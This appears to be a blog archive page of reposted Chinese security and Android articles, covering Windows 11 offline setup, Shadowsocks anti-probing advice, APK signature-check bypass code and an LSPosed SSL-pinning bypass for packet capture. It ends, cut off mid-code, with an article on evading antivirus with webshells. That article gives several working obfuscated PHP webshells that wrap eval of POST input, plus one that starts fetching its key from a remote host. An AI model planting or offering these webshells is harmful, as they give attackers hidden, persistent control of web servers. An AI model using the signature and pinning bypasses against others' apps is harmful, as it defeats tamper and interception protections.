win11系统第一次开机跳过联网的办法（３种方法）

Jun 13, 2024

win11系统第一次开机跳过联网的办法（３种方法）

本文转自jaray 并作补充

预装Win11家庭中文版由于微限制必须要联网激活，需要使用微软账户登入才可以继续开机过程，联网后系统会自动激活。

　　新电脑，安装以后，会要求激活，我打电话问了厂家，居然告诉我，让我用新电脑连手机，使用手机的热点，去激活电脑。在没有网络的情况下，现在连电脑都无法激活，厂家这么说，我不知道是他们不愿意说，还是真的不知道，我是无法相信这种说法，我在网上搜了很多方法，带图的，结束“调出任务管理器找到 Network Connection Flow进程”，这种方法是不行的，根本没有这个进程。

　　还有一种方法是：打开任务管理器，这个打开方法下面有，简单看完各个硬件参数，这个方法也扯了。

　　由于很多厂家基本都是联网后就不符合无理由退货的条件了，所以我整理了以下的几种跳过联网的办法，可以参考。

一、win11初次开机跳过联网激活方法1

1、按下Shift+F10或者是Fn+Shift+F10快捷键调出命令提示符窗口;

2、输入taskmgr，并按下回车键;

3、接着就会出现任务管理器页面，我们点击“详细信息”;

4、找到“Network Connection Flow”进程或者是“网络连接流”进程，点击“结束任务”;

5、这样就可以跳过联网；

６、这种方法就是上面我提到过的方法，我这台电脑也不行。

二、win11初次开机跳过联网激活方法2

1、首次进入Windows11家庭版系统并进行设置，到联网界面，按下【Shift+F10】快捷键（无效可试下【FN+Shfit+F10】）

2、在出现的命令提示符页面输入OOBE\BYPASSNRO，按回车键，等待电脑重启完成

3、重启后，在联网界面会有“我没有Internet连接”选项，点击此选项即可跳过联网

三、通过修改注册表跳过联网界面３

１、按Shift键+F10键（不成功按Fn+Shift+F10）；

２、弹出命令提示符窗口，输入regedit回；

３、然后在打开的注册表编辑器界面中，找到下方路径——计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE

４、接下来在注册表的右侧空白处鼠标右键，在弹出的右键菜单项中，新建一个DWORD(32位)值(D)。新建的值重命名为: BypassNRO，双击打开BypassNRO这个值，然后在编辑DWORD(32位)值窗口，将数值数据修改为【1】，再点击【确定】；

５、最后在cmd窗口再输入命令：logoff，回车；

６、可以跳过联网。

end.

Bypass Reprint

防御GFW主动探测的实用指南

Jan 29, 2024

防御GFW主动探测的实用指南

本文转自Great Firewall Report 并作补充

在近期的IMC’20的工作中(论文, 演讲)，我们揭示了中国的防火长城采用流量分析与主动探测相结合的手段来检测和封锁Shadowsocks服务器。

在这篇短文中，我们将分别向技术小白和翻墙软件开发者提供防御GFW主动探测的实用建议。我们还将介绍Len et al.展示的partitioning oracle攻击的缓解办法。如果在遵循了本文的建议后，你的Shadowsocks服务器仍被封锁，请将封锁情况汇报给GFW Report以及相应的开发者。

给用户的建议

根据我们的测试和来自开发者的报告，在采用了适当的配置后，以下两个Shadowsocks实现的最新版本已经可以抵御来自GFW的主动探测：Shadowsocks-libev和OutlineVPN。

针对Shadowsocks-libev的使用建议

如果你决定使用Shadowsocks-libev，我们强烈建议你根据这篇教程来部署一台抗封锁的Shadowsocks-libev服务器。我们会时刻更新那篇教程的，以应对之后新出现的针对Shadowsocks的识别和攻击。

如果你已经拥有了一台Shadowsocks-libev服务器，你可以根据以下规则来确认你的服务器是否配置得可以对抗GFW的主动检测和封锁。

截止2021年1月，你需要做到以下几点来防止你的Shadowsocks-libev服务器被封锁：

确保你的服务器版本为v3.3.1及以上。你可以通过以下命令查看服务器的版本ss-server -h。

使用AEAD ciphers，而不用 stream ciphers。换句话说，仅在以下几种加密方式中进行选择：chacha20-ietf-poly1305 (推荐), aes-256-gcm, aes-192-gcm或者aes-128-gcm。

为了缓解针对Shadowsocks的partitioning oracle攻击，你需要:

使用一个长的随机密码。这样的密码可以用以下命令在终端生成： openssl rand -base64 16;

禁用UDP模式。

注意：针对客户端没有特殊的要求，任何与Shadowsocks-libev服务器兼容的客户端均可。

针对OutlineVPN的使用建议

为了防止你的OutlineVPN服务器被GFW封锁，你需要做到以下几点：

使用最新版的从官网下载的服务端。

使用最新版的从官网下载的客户端。

注意：

Outline会自动生成一个长的，随机的密码，因此你不必像为Shadowsocks-libev那样手动配置密码。

Outline服务端会自动更新，因此你不必手动升级服务端。

Outline只采用chacha20-ietf-poly1305这一种AEAD cipher作为加密方式，因此你不必手动选择加密方式。

给翻墙软件开发者的建议

下面我们介绍我们发现的GFW的最新审查能力，并附上我们给翻墙软件开发者的相应建议。这些建议不仅对Shadowsocks，而且对其他许多翻墙软件都有用。我们欢迎你加入我们的讨论，分享你的想法，评论，疑惑和关切。

正确的校验

首先，我们强烈建议翻墙软件的开发者们彻底废除不具备校验的加密构造。仅仅有保密性是不够的。

对于新开发的翻墙软件来说，这意味着根本不应考虑支持不具备校验的加密构造。

对于现存的翻墙软件来说，这意味着开发者应该勇敢地移除所有与不具备教研的加密构造相关的代码，即使以不向下兼容为代价。

我们这看似大胆的建议实际上出于合理的原因。如我们在论文中所介绍的，一些类型的GFW主动探测会利用Shadowsocks的stream ciphers的malleability。这已经不是第一次不具备校验的加密结构造成漏洞了。事实上，不具备校验的加密结构是许多Shadowsocks和其他翻墙软漏洞的根本来源。

早在2015年8月，BreakWa11发现了一个关于Shadowsocks的stream ciphers的漏洞。这个漏洞是由于缺乏数据完整性保护而造成的（英文总结）。在2020年，类似的漏洞又被发现存在于V2Ray中（总结）。

当Shadowsocks开发者试图引入one time auth模式来缓解2015年的那个漏洞时，另一个因数据长度缺乏完整性保护的主动探测又被引入了（英文总计）。

2020年2月，Zhejiang Peng发现了一个关于Shadowsocks stream ciphers的灾难性的漏洞，(英文总结）。利用使用了stream cipher的Shadowsocks服务器作为decryption oracle，攻击者可以在不需要密码的情况下，完全解密Shadowsocks会话。

其实早在2017年2月，AEAD ciphers就已经成为了Shadowsocks协议的一部分。而校验问题也理应在那时就被解决了。但实际情况是，截止2021年，大量的服务器仍然因为使用被废弃的stream ciphers而存在着安全隐私漏洞，以及被准确识别的风险。

这样的现象表明，在实际操作中，许多的用户不能够正确的选择加密方式。这可能与使用过时的教程或一键脚本有关。我们因此鼓励开发者从Shadowsocks各实现中彻底移除stream ciphers，帮助用户做出正确的选择。

使用同时基于nonces和时间的重放过滤器

我们建议翻墙软件的开发者们采用同时基于nonces和时间的重放过滤器。因为采用基于时间的重放过滤器需要对Shadowsocks协议进行根本性地变动，我们建议开发者至少要此采用基于nonces的过滤器，并且做到：

要么建议用户在每次过滤器重置后修改密码；

要么开发一个机制，可以让重放过滤器在软件重启后依然记得之前的nonces。

这些建议是基于以下的研究发现和推论。如论文的section 3.5所介绍的， GFW既可以在观察到一个合法连接的瞬间对其进行重放；也可以等待三周甚至更长时间后才重放。因此，一个更加合理的主动探测模型应该允许审查者在任意时长后对合法连接进行重放。

这样的一个主动探测模型揭示了纯粹基于nonces的重放过滤所须要面对的不对称性。GFW仅用少量资源就可以记录一些合法的连接，并且在经过任意的时长后再重放它们；但与此同时，Shadowsocks需要大量的资源和相对复杂的实现来永久性地记住所有的合法链接，直至密码被更换。注意，Shadowsocks服务器必须在重启后还记住这些nonces；否则重放过滤器不会过滤基于重启前的合法连接的重放。

幸运的是，这个不公平的局面可以通过同时引入基于时间的重放过滤机制来扭转：服务器只需要处理并验证时间戳未过期的连接，就像VMess服务器那样。如此一来服务器就不需要永久性地记住所有合法连接中的nonces。

我们还想强调，对于那些仅仅短暂暴露变化的监听端口的翻墙服务器，重放过滤仍是必要的。因为GFW可以瞬时重放合法连接中的第一个数据包，而这时暴露的监听端口因为未完成数据传输，依然是开启的。

让服务器的反应保持一致

我们建议开发者们确保翻墙服务器在正常运行时，和遇到不合法的连接时都反应一致。理想情况下，可以按照Frolov et al.的建议，让服务器遇到错误连接时“read forever”。这是因为，审查者会故意触发协议的边边角角等特殊情况，来识别服务器指纹。

除了我们在Shadowsocks-libev和OutlineVPN中发现的服务器反应指纹，Frolov et al.还展示了包括Shadowsocks-python和OutlineVPN在内的多种翻墙软件可以通过关闭连接时的TCP flags和连接时长来识别。studentmain报告，直至2020年12月，许多的Shadowsocks实现仍存在着我们在Shadowsocks-libev和Outline中发现的问题。

Frolov et al.建议代理服务器在遇到错误连接时不要立即关闭连接，而是“read forever”。这样做不但避免泄漏超时值，而且使得服务器发送与正常连接关闭时相同的TCP flags来关闭错误连接。

进一步说，“reading forever”本身不会带来更加独特的指纹。因为Frolov et al.发现互联网上大量的服务器都会有无限超时值（“infinite timeout”）的特征。David Fifield调查显示，许多流行的翻墙软件已经采取了“read forever”策略。这些软件包括OSSH，obfs4，Outline和Lampshade。

强制采用强密码

Len et al. 于2020年展示了针对Shadowsocks服务器的partitioning oracle攻击。利用在Shadowsocks中使用的non-committing AEAD，攻击者可以更高效地猜出密码。我们因此建议开发者强制采用强密码。一种可能的实现方式是要求用户密码的熵高于一定值。

主动探测你的实现

如果你是一个不同于Shadowsocks-libev和Outline的翻墙软件开发者或贡献者，我们鼓励你检查同样的漏洞是否也存在于你的Shadowsocks实现中。我们开源了我们在论文Section 5.1中用到的prober 模拟器。

鸣谢

我们想要感谢来自Jigsaw的Vinicius Fortuna，来自APNIC的Robert Mitchell和Dan Fidler，以及来自Qv2ray的DuckSoft和Student Main对本文提供的反馈。

联系

这篇报告首发于GFW Report。我们还在APNIC blog，net4people以及ntc.party同步更新了博文。

我们鼓励您或公开地或私下地分享您的评论或疑问。我们私下的联系方式可见GFW Report的页脚。

Android逆向-获取APP签名

Jan 25, 2024

Android逆向-获取APP签名

本文转自Taardisaa 并作补充

很久以前开的blog，关于如何获取APP签名。不知道为啥要写这个了。

Android逆向-APP签名

生成JKS签名

Android studio 如何生成jks签名文件 - 简书 (jianshu.com)

打开AndroidStudio
1
Build-->Generate Signed APK-->APK
然后Key store path选择Create New

然后设置好存储路径，密码也设置一下（偷懒写个123456）

Key的别名就叫key，密码一样简单。

然后剩下的Certificate全填taardis，Country Code填11451。

反正创建成功后，就在选定路径下出现了jks密钥文件。

APK签名

将APK魔改，重新打包后，需要重新签名。

参考：Android之通过 apksigner 对 apk 进行手动签名_恋恋西风的博客-CSDN博客
1
apksigner.bat sign --verbose --ks D:\Android\Keystore\taardis.jks --v1-signing-enabled false --v2-signing-enabled true --ks-key-alias key --ks-pass pass:123456 --key-pass pass:123456 --out D:\Android\Frida\gadget\bs.apk D:\Android\Frida\gadget\b.apk
成功后提示：
1
Signed

获取APK签名

首先APK解包：
1
apktool d <apk>
然后在 META-INF 文件夹拿到 CERT.RSA 文件。之后：
1
keytool -printcert -file CERT.RSA
不过Keytool似乎是Java的工具，不管了现在用不上。

JEB/JADX

这种反编译器也能直接看到APK的签名信息。

MT APP签名检查及绕过

L-JINBIN/ApkSignatureKillerEx: 新版MT去签及对抗 (github.com)

从“去除签名验证”说起 - 腾讯云开发者社区-腾讯云 (tencent.com)

过签名校验(2) – MT 的 IO 重定向实践 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

MT提供的签名绕过方式能够实现对API和APK方式的绕过。但是对于SVC的则无能为力。
1
2
3
4
String signatureExpected = "3bf8931788824c6a1f2c6f6ff80f6b21";
String signatureFromAPI = md5(signatureFromAPI());
String signatureFromAPK = md5(signatureFromAPK());
String signatureFromSVC = md5(signatureFromSVC());

API检测

用PackageManager直接获得签名。

private byte[] signatureFromAPI() {
    try {
        @SuppressLint("PackageManagerGetSignatures")
        PackageInfo info = getPackageManager().getPackageInfo(getPackageName(), PackageManager.GET_SIGNATURES);
        return info.signatures[0].toByteArray();
    } catch (PackageManager.NameNotFoundException e) {
        throw new RuntimeException(e);
    }
}

APK检测

找到APP私有文件夹下的base.apk，然后得到签名

private byte[] signatureFromAPK() {
    try (ZipFile zipFile = new ZipFile(getPackageResourcePath())) {
        Enumeration<? extends ZipEntry> entries = zipFile.entries();
        while (entries.hasMoreElements()) {
            ZipEntry entry = entries.nextElement();
            if (entry.getName().matches("(META-INF/.*)\\.(RSA|DSA|EC)")) {
                InputStream is = zipFile.getInputStream(entry);
                CertificateFactory certFactory = CertificateFactory.getInstance("X509");
                X509Certificate x509Cert = (X509Certificate) certFactory.generateCertificate(is);
                return x509Cert.getEncoded();
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

SVC检测

private byte[] signatureFromSVC() {
    try (ParcelFileDescriptor fd = ParcelFileDescriptor.adoptFd(openAt(getPackageResourcePath()));
         ZipInputStream zis = new ZipInputStream(new FileInputStream(fd.getFileDescriptor()))) {
        ZipEntry entry;
        while ((entry = zis.getNextEntry()) != null) {
            if (entry.getName().matches("(META-INF/.*)\\.(RSA|DSA|EC)")) {
                CertificateFactory certFactory = CertificateFactory.getInstance("X509");
                X509Certificate x509Cert = (X509Certificate) certFactory.generateCertificate(zis);
                return x509Cert.getEncoded();
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

绕过

Java层的东西不多

private static void killOpen(String packageName) {
    try {
        // Native层Hook
        System.loadLibrary("SignatureKiller");
    } catch (Throwable e) {
        System.err.println("Load SignatureKiller library failed");
        return;
    }
    // 读取/proc/self/maps读取APP路径
    String apkPath = getApkPath(packageName);
    if (apkPath == null) {
        System.err.println("Get apk path failed");
        return;
    }
    // 读取自身APK文件（私有目录下的base.apk）
    File apkFile = new File(apkPath);
    // 在APP私有目录下创建origin.apk文件
    File repFile = new File(getDataFile(packageName), "origin.apk");
    try (ZipFile zipFile = new ZipFile(apkFile)) {
        // 将APK中的origin.apk给提取出来（origin.apk是MT去签是生成的，是初始没有被去签的APK）
        String name = "assets/SignatureKiller/origin.apk";
        ZipEntry entry = zipFile.getEntry(name);
        if (entry == null) {
            System.err.println("Entry not found: " + name);
            return;
        }
        // 读取出来
        if (!repFile.exists() || repFile.length() != entry.getSize()) {
            try (InputStream is = zipFile.getInputStream(entry); OutputStream os = new FileOutputStream(repFile)) {
                byte[] buf = new byte[102400];
                int len;
                while ((len = is.read(buf)) != -1) {
                    os.write(buf, 0, len);
                }
            }
        }
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
    // 传入底层so Hook
    hookApkPath(apkFile.getAbsolutePath(), repFile.getAbsolutePath());
}

然后看Native层，实际上是XHook，用于替换libc函数。

mt_jni.c

实际上就做了个字符串替换，有意将原本要打开的APK替换成origin.apk。

const char *apkPath__;
const char *repPath__;

int (*old_open)(const char *, int, mode_t);
static int openImpl(const char *pathname, int flags, mode_t mode) {
    //XH_LOG_ERROR("open: %s", pathname);
    if (strcmp(pathname, apkPath__) == 0){
        //XH_LOG_ERROR("replace -> %s", repPath__);
        return old_open(repPath__, flags, mode);
    }
    return old_open(pathname, flags, mode);
}

JNIEXPORT void JNICALL
Java_bin_mt_signature_KillerApplication_hookApkPath(JNIEnv *env, __attribute__((unused)) jclass clazz, jstring apkPath, jstring repPath) {
    apkPath__ = (*env)->GetStringUTFChars(env, apkPath, 0);
    repPath__ = (*env)->GetStringUTFChars(env, repPath, 0);

    xhook_register(".*\\.so$", "openat64", openat64Impl, (void **) &old_openat64);
    xhook_register(".*\\.so$", "openat", openatImpl, (void **) &old_openat);
    xhook_register(".*\\.so$", "open64", open64Impl, (void **) &old_open64);
    xhook_register(".*\\.so$", "open", openImpl, (void **) &old_open);

    xhook_refresh(0);
}

通过Hook open函数，可以把基于APK读取的签名方式给绕过。

下面提供一个绕过基于PackageManager的：

private static void killPM(String packageName, String signatureData) {
    // 构造一个假的签名
    Signature fakeSignature = new Signature(Base64.decode(signatureData, Base64.DEFAULT));
    Parcelable.Creator<PackageInfo> originalCreator = PackageInfo.CREATOR;
    Parcelable.Creator<PackageInfo> creator = new Parcelable.Creator<PackageInfo>() {
        @Override
        public PackageInfo createFromParcel(Parcel source) {
            PackageInfo packageInfo = originalCreator.createFromParcel(source);
            if (packageInfo.packageName.equals(packageName)) { //
                if (packageInfo.signatures != null && packageInfo.signatures.length > 0) {
                    packageInfo.signatures[0] = fakeSignature; // 将虚假的签名放入packageInfo，取代原来的
                }
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
                    if (packageInfo.signingInfo != null) {
                        Signature[] signaturesArray = packageInfo.signingInfo.getApkContentsSigners();
                        if (signaturesArray != null && signaturesArray.length > 0) {
                            signaturesArray[0] = fakeSignature;
                        }
                    }
                }
            }
            return packageInfo;
        }

        @Override
        public PackageInfo[] newArray(int size) {
            return originalCreator.newArray(size);
        }
    };
    try {
        // 用假的creator替换原来的PackageInfo.CREATOR
        findField(PackageInfo.class, "CREATOR").set(null, creator);
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
        // 解除某些Android系统API的使用限制？
        HiddenApiBypass.addHiddenApiExemptions("Landroid/os/Parcel;", "Landroid/content/pm", "Landroid/app");
    }
    try {
        // 清空签名缓存
        Object cache = findField(PackageManager.class, "sPackageInfoCache").get(null);
        // noinspection ConstantConditions
        cache.getClass().getMethod("clear").invoke(cache);
    } catch (Throwable ignored) {
    }
    try {
        // 清空签名缓存
        Map<?, ?> mCreators = (Map<?, ?>) findField(Parcel.class, "mCreators").get(null);
        // noinspection ConstantConditions
        mCreators.clear();
    } catch (Throwable ignored) {
    }
    try {
        // 清空签名缓存
        Map<?, ?> sPairedCreators = (Map<?, ?>) findField(Parcel.class, "sPairedCreators").get(null);
        // noinspection ConstantConditions
        sPairedCreators.clear();
    } catch (Throwable ignored) {
    }
}

参考

Java Keytool 介绍 - 且行且码 - 博客园 (cnblogs.com)

获取Android应用签名的几种方式 - 简书 (jianshu.com)

Android studio 如何生成jks签名文件 - 简书 (jianshu.com)

apktool重新打包时报错_apktool 忽略错误信息__y4nnl2的博客-CSDN博客

Android之通过 apksigner 对 apk 进行手动签名_恋恋西风的博客-CSDN博客

apksigner | Android 开发者 | Android Developers (google.cn)

Android Bypass Reprint Signature

APP 测试 - LSPosed 绕过 SSL 证书抓包

Jan 22, 2024

APP 测试 - LSPosed 绕过 SSL 证书抓包

本文转自LuckySec 并作补充

前言

前面介绍了通过《VirtualXposed 绕过 SSL 证书抓包》，这个方法有些局限性，比如不能在电脑上的《夜神模拟器》、《雷电模拟器》运行，需要一部测试手机等因素，对于部分人来说可能不太方便，还是更喜欢都在电脑上完成这系列操作，可以尝试用 LSPosed 绕过 SSL 证书抓包。

0x01 工具简介

LSPosed 是一个基于 Riru/Zygisk 的 ART Hook 框架，该框架利用 LSPlant 挂钩框架提供与 OG Xposed 一致的 API, 支持 Android 8.1 ~ 13。

Xposed 是一个模块框架，可以在不接触任何 APK 的情况下改变系统和应用程序的行为。利用 Xposed 的 TrustMeAlready 模块插件，可以防止软件检测抓包，绕过大部分 ssl-pinning，保证 APP 抓包的可续性能。

0x02 下载安装

特别提示：在安装之前需要注意以下几点：

LSPosed 项目地址：https://github.com/LSPosed/LSPosed/releases

TrustMeAlready 项目地址：https://github.com/ViRb3/TrustMeAlready/releases

系统： Android 8.1 ~ 13

安装 Magisk v23+ (Riru) / v24+ (Zygisk)

（针对 Riru 风格）从 Magisk 库安装Riru v25+

在 Magisk 应用程序中下载并安装LSPosed

重启

0x03 抓包教程

注意：如果用雷电模拟器请使用 9.0.19 或之前的版本，避免不必要的问题发生。

以夜神模拟器为例，添加并运行一个 Android 9 的虚拟机。

在模拟器设置里将虚拟机设置为网络桥接模式、开启 ROOT（默认开启），设置好后重启虚拟机。

在夜神模拟器虚拟机里安装 Magisk.apk、Magisk Terminal Emulato.apk、app-debug.apk（安装成功不显示在主界面）、LSPosed-manager.apk。

打开 Magisk Terminal Emulator.apk，按照如下步骤操作：输入 m 按回车 > 再输入 y 按回车 > 超级用户授权允许 > 再输入 1 按回车 > 输入 a 按回车 > 再输入 1 按回车 > 完毕。

上述步骤完成后，重启模拟器，打开 Magisk.apk 可以发现 Magisk 安装成功。

打开 Magisk.apk > 点击右上角齿轮按钮 > 界面往下滑动，找到 Zygisk 选项打开并重启模拟器虚拟机。

接着将 LSPosed-v1.8.6-6712-zygisk-release.zip 复制到模拟器文件夹里面。打开 Magisk.apk > 底部模块选项 > 从本地安装 > 选择模拟器文件夹内的 LSPosed-v1.8.6-6712-zygisk-release.zip 卡刷包。

重启模拟器虚拟机后，打开 LSPosed-manager.apk，可以发现 LSPosed 安装成功了。

然后在夜神模拟器虚拟机里安装 TrustMeAlready-v1.11.apk，安装这个 apk 主界面图标可能会卡在安装的动画，不必在意，忽略即可。

接着打开 LSPosed-manager.apk 的底部模块选项，点击 TrustMeAlready，启动模块，选择要测试的 APP。

使用 BurpSuite 工具开启代理抓包，设置监听地址为同一局域网 IP 地址，端口自定义，不与电脑其他端口冲突使用即可。

在夜神模拟器手机系统设置中将 WiFi 的代理设置为 BurpSuite 监听器的地址。

最后，打开要测试的 APP，刷新功能页面，在 BurpSuite 中即可看到抓取的 HTTP/HTTPS 网络数据包。

参考文章

https://www.52pojie.cn/forum.php?mod=viewthread&tid=1688786

Android Bypass HTTPS LSPosed Magisk Reprint SSL

How to install Xposed/EdXposed/LSPosed + Magisk with Genymotion Desktop?

Jan 22, 2024

How to install Xposed/EdXposed/LSPosed + Magisk with Genymotion Desktop?

本文转自Genymotion Help Center 并作补充

Warning

GENYMOBILE assumes no liability whatsoever resulting from the download, install and use of Xposed, EdXposed, LSPosed and Magisk. Use at your own risk.

Note

Because Xposed and EdXposed are no longer maintained, we strongly recommend not using them anymore.

Android 5.0 - 7.1

Prerequisites

Xposed framework

Xposed installer

Installation

Drag’n drop the Xposed framework zip file (xposed-vXX-sdkXX-x86.zip) to your virtual device display to flash the device.

Drag’n drop Xposed Installer APK (XposedInstaller_*.apk). This should install and launch Xposed Installer application. At this stage, it will display that the Xposed framework is installed but disabled:

Reboot the device with adb reboot command. Do not reboot from *Xposed Installer* as this will freeze the device.

Launch Xposed installer. It should display “Xposed Framework version XX is active”:

Android 8.0

Xposed only works with Android 5.0 to 7.1. For Android 8.0, you need to use Magisk + Edxposed instead.

Prerequisites

Magisk Manager (Magisk-v23.0.apk)

Magisk framework for x86

Riru Magisk module v.25.4.4

Edxposed Manager 4.6.2

Installation

Step 1: Install Magisk

Drag’n Drop Magisk Manager apk: Magisk-v23.0.apk. Magisk Manager will install and open. Close it for now.

Drag’n Drop Magisk_rebuilt_1c8ebfac_x86.zip and flash it.

When flashing is complete, reboot the device.

Launch Magisk Manager. It will request ROOT access, select “Remember choice forever” and click Allow:

It is possible that the popup opens in the background and is covered by Magisk Manager main window. If so press back to access the popup and allow ROOT:

You will then be prompted with an update to apply, accept it:

The device will reboot one more time. Launch Magisk Manager again, you should now be informed that Magisk is now installed in 1c8ebfac(23015) version:

Step 2: Install Riru

Important

Do not install the Riru version available in the Magisk Manager app. Use the old Riru v25 version provided in this article (see prerequisite).

Drag’n drop the Riru archive onto the instance display: riru-v25.4.4-release.zip. Do not flash it! The archive must be installed from Magisk Manager.

Launch Magisk Manager app and click on the last icon in the bottom toolbar to go to the module section:

Click “install from storage”:

Go to the Download folder from the menu:

Select the Riru archive, riru-v25.4.4-release.zip

Reboot the device

Riru version 25 should now be present in the installed modules list in Magisk Manager:

Important

Make sure NOT to update to Riru v26 as it does not work with EdXposed right now.

Step 3: Install EdXposed

You can install EdXposed framework from Magisk Manager. Go to Magisk Manager module manager:

Open the search widget and input “Edxposed”. Select Riru - EdXposed:

Install the module:

Reboot the device.

Drag’n drop Edxposed manager APK file (EdXposedManager-4.5.7-45700-org.meowcat.edxposed.manager-release.apk) to the device display.

Reboot the device

Edxposed manager should launch and display “Edxposed framework is active”:

Android 8.1 and above

Edxposed and Xposed are no longer maintained and there are no builds for Android 12 and above.

Instead, we will use LSPosed and Magisk for Android 8.1 and above.

Prerequisite

Magisk Manager APK (v23.0)

Magisk framework for x86 for Android 8.1 - 10

Magisk framework for x86_64 for Android 11 and above (PC or Mac Intel)

Magisk framework for arm64 for mac M1/M2

LSPosed archive

LSPosed manager APK

Installation

Step 1: Install Magisk

Drag’n Drop Magisk Manager apk: Magisk-v23.0.apk. Magisk Manager will install and open. Close it for now.

Drag’n Drop the flashable archive:

Magisk_rebuilt_1c8ebfac_x86.zip if you use Android 8.1 - 10

Magisk_rebuilt_1c8ebfac_x86_64.zip if you use Android 11 and above on a PC or an old Mac Intel

Magisk_rebuilt_1c8ebfac_arm64.zip if you use a mac M1/M2

When flashing is complete, reboot the device.

Launch Magisk Manager. It will request ROOT access, select “Remember choice forever” and click Allow:

It is possible that the popup opens in the background and is covered by Magisk Manager main window. If so press back to access the popup and allow ROOT:

You will then be prompted with an update to apply, accept it:

The device will reboot one more time. Launch Magisk Manager again, you should now be informed that Magisk is now installed in 1c8ebfac(23015) version:

Step 2: Install Riru

Important

Do not install the Riru version available in the Magisk Manager app. Use the old Riru v25 version provided in this article (see prerequisite).

Drag’n drop the Riru archive onto the instance display: riru-v25.4.4-release.zip. The flashing process will fail, but this is normal. The archive must be installed from Magisk Manager.

Launch Magisk Manager app and click on the last icon in the bottom toolbar to go to the module section:

Click “install from storage”:

Go to the Download folder from the menu:

Select the Riru archive, riru-v25.4.4-release.zip

Reboot the device

Riru version 25 should now be present in the installed modules list in Magisk Manager:

Step 3: Install Riru - LSPosed

Drag and drop the LSPosed archive to the device. Do not flash it!

Open Magisk Manager, go to the plugin manager page:

click Install from storage and select LSPosed-v1.8.6-6712-riru-release.zip:

Reboot the device when prompted

Drag’n Drop LSPosed_manager.apk, LSPosed manager should open:

Android Bypass EdXposed Genymotion LSPosed Magisk Reprint Xposed

一些webshell免杀的技巧

Jan 19, 2024

一些webshell免杀的技巧

本文转自pureqh 并作补充

0x00：前言

由于杀软的规则在不断更新所以很多之前的过杀软方法基本上都不行了而且随着php7逐渐扩张 assert马也将被淘汰所以本文将提出几种免杀思路效果很好而且不会被杀软的正则和沙盒规则约束。

0x01：自定义加密Bypass

部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则比如某dir+

比如这个都能被检测出是shell

所以为了防止这种的规则自定义加密显然是最优解

自定义加密可选性多了只要能把加密后的字符还原回去就行比如base32 base58 这类的base编码全家桶或者自定义ascii移位甚至是对称加密算法等都是可以绕过这类规则检测

base32编码payload
（https://github.com/pureqh/webshell）：

<?php
class KUYE{
      public $DAXW = null;
      public $LRXV = null;
      function __construct(){
      $this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
      $this->LRXV = @SYXJ($this->DAXW);
      @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
      }}
new KUYE();
function MNWK($QSFX){
  $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
  $NLHB = '';
  $v = 0;
  $vbits = 0;
  for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
  $v <<= 8;
      $v += ord($QSFX[$i]);
      $vbits += 8;
      while ($vbits >= 5) {
          $vbits -= 5;
          $NLHB .= $BASE32_ALPHABET[$v >> $vbits];
          $v &= ((1 << $vbits) - 1);}}
  if ($vbits > 0){
      $v <<= (5 - $vbits);
      $NLHB .= $BASE32_ALPHABET[$v];}
  return $NLHB;}
function SYXJ($QSFX){
  $NLHB = '';
  $v = 0;
  $vbits = 0;
  for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
      $v <<= 5;
      if ($QSFX[$i] >= 'a' && $QSFX[$i] <= 'z'){
          $v += (ord($QSFX[$i]) - 97);
      } elseif ($QSFX[$i] >= '2' && $QSFX[$i] <= '7') {
          $v += (24 + $QSFX[$i]);
      } else {
          exit(1);
      }
      $vbits += 5;
      while ($vbits >= 8){
          $vbits -= 8;
          $NLHB .= chr($v >> $vbits);
          $v &= ((1 << $vbits) - 1);}}
  return $NLHB;}
?>

ascii码移位payload（凯撒加密）

<?php
class FKPC{
      function __construct(){
      $this->TQYV = "bs^i%!\MLPQXwbolZ&8";
      $this->WZDM = @HHGJ($this->TQYV);
      @eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/");
      }}
new FKPC();
function HHGJ($UyGv) {
$svfe = [];
$mxAS = '';
$f = $UyGv;
for ($i=0;$i<strlen($f);$i++)
{
  $svfe[] = chr((ord($f[$i])+3));
}
$mxAS = implode($svfe);
return $mxAS ;
}
?>

居然没过webdir+

那如何解决呢我们后面再说当然应付D盾还是绰绰有余了

Rot13加密payload

<?php

class KUYE{
        public $DAXW = null;
        public $LRXV = null;
        function __construct(){
        $this->DAXW = 'riny($_CBFG[mreb]);';
        $this->LRXV = @str_rot13($this->DAXW);
        @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
        }}
new KUYE();

?>

二进制转化payload

<?php

class KUYE{
        public $DAXW = null;
        public $LRXV = null;
        function __construct(){
        $this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011';
        $this->LRXV = @BinToStr($this->DAXW);
        @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
        }}
new KUYE();
function BinToStr($str){
    $arr = explode(' ', $str);
    foreach($arr as &$v){
        $v = pack("H".strlen(base_convert($v, 2, 16)), base_convert($v, 2, 16));
    }

    return join('', $arr);
}
?>

这里就不列举了只要方法正确绕过杀软是很简单的

0x02：通过http获得关键参数

上面那个凯撒密码不是被webdir+杀了吗我们在这里将他绕过

众所周知凯撒密码需要设置往前或往后移几位ascii 这个参数可以设置为解密方法的输入参数经过测试此参数在源码中会被沙盒跑出了因此不能过百度杀毒，那么我不写本地不就行了我直接起一个http服务访问文本获得参数值。

<?php
class FKPC{
        function __construct(){
        $url = "http://xxxxx:8080/1.txt";
        $fp = fopen($url, 'r');
        stream_get_meta_data($fp);
        while (!feof($fp)) {
            $body.= fgets($fp, 1024);
        }
        $this->x = $body;
        $this->TQYV = "bs^i%!\MLPQXwbolZ&8";
        $this->WZDM = @HHGJ($this->TQYV,$this->x);
